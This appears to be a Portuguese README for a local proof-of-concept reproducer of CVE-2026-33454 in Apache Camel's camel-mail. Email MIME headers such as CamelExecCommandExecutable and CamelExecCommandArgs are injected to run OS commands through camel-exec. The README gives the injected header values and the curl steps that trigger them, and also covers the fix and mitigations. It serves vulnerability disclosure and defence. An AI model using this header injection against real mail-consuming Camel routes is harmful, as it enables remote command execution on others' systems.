camel-mail Injeção de Cabeçalho → Reprodução de Vulnerabilidade RCE (CVE-2026-33454)

Este projeto demonstra uma vulnerabilidade de injeção de cabeçalhos de mensagem Camel no componente camel-mail do Apache Camel, registrada como CVE-2026-33454. Um atacante que consiga entregar um e-mail a uma caixa de correio monitorada por um consumidor de e-mail Camel pode injetar cabeçalhos de controle Camel* no Exchange, alcançando execução remota de código quando a rota encaminha para um produtor sensível a cabeçalhos, como camel-exec.

Comunicado de segurança: https://camel.apache.org/security/CVE-2026-33454.html

Resumo da Vulnerabilidade

Detalhes Técnicos

MailHeaderFilterStrategy estende DefaultHeaderFilterStrategy. Nas versões afetadas, seu construtor configura apenas o filtro out e nunca define o filtro in:

// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // OUT only
    // no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}

Quando o Camel consome e-mail (ex.: from("imap://...") ou from("pop3://...")), MailBinding.extractHeadersFromMail() copia todos os cabeçalhos MIME para os cabeçalhos de entrada do Exchange, controlados por headerFilterStrategy.applyFilterToExternalHeaders(...). Como o filtro in nunca foi configurado, cabeçalhos MIME prefixados com Camel* passam diretamente:

// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

Um atacante que consiga enviar e-mail para a caixa de correio monitorada pode, portanto, definir cabeçalhos de controle Camel* arbitrários. Quando a rota encaminha para um produtor sensível a cabeçalhos, como camel-exec, os cabeçalhos CamelExecCommandExecutable / CamelExecCommandArgs sobrescrevem o comando (respeitados por padrão nas versões afetadas) → execução arbitrária de comandos do sistema operacional.

A rota vítima

from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);

Pré-requisitos

• Java 17+
• Maven 3.8+
• Docker (executa o servidor de e-mail)

Passos para Reprodução

Passo 1: Iniciar o servidor de e-mail (Docker)

Um contêiner GreenMail fornece SMTP (3025) e IMAP (3143) com uma única caixa de correio (login victim, senha secret, endereço victim@localhost):

docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

Passo 2: Compilar e Iniciar a Aplicação

mvn clean package -DskipTests
mvn spring-boot:run

Inicia a rota vítima IMAP e um controller REST auxiliar na porta 8080.

Passo 3: E-mail Benigno (verificação de sanidade)

curl http://localhost:8080/exploit/normal

O consumidor o coleta e executa echo hello.

Passo 4: Ataque — entregar um e-mail com cabeçalhos MIME Camel* injetados

# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

Isso entrega um e-mail cujos cabeçalhos MIME incluem:

CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

Passo 5: Verificar

# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned

Se /tmp/pwned existir, o cabeçalho MIME injetado sobrescreveu o comando exec → RCE.

Limpeza

docker compose down    # or: docker rm -f greenmail-cve

Vetores de Ataque

A injeção precisa apenas de um produtor sensível a cabeçalhos a jusante. O comunicado menciona camel-bean, camel-exec e camel-sql; mais amplamente:

• camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → execução de comandos do SO
• camel-file — CamelFileName → escrita arbitrária de arquivos / path traversal
• camel-bean — CamelBeanMethodName → invocar um método diferente
• camel-sql — cabeçalhos de controle de consulta

Condições de Exploração

1. Uma rota Camel consumindo e-mail (imap://, imaps://, pop3://, ...).
2. A rota encaminha para (ou é influenciada por) um produtor sensível a cabeçalhos.
3. Sem removeHeaders("Camel*") entre o consumidor de e-mail e esse produtor.

O atacante só precisa conseguir enviar um e-mail para a caixa de correio monitorada.

Correção Recomendada

A correção (CAMEL-23222) configura também o filtro de entrada:

public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // now the inbound direction is filtered too
}

Mitigação

Até a atualização:

1. Remova cabeçalhos Camel de mensagens originadas de e-mail: .removeHeaders("Camel*") logo após o from("imap:...").
2. Evite produtores sensíveis a cabeçalhos a jusante de e-mails não confiáveis, ou fixe suas configurações.
3. Restrinja quem pode entregar mensagens à caixa de correio monitorada.

Arquivos

CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── MailExecRoute.java        # the vulnerable victim route (imap -> exec)
    │   └── ExploitController.java    # attacker: delivers the malicious email via SMTP
    └── resources/
        └── application.properties

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.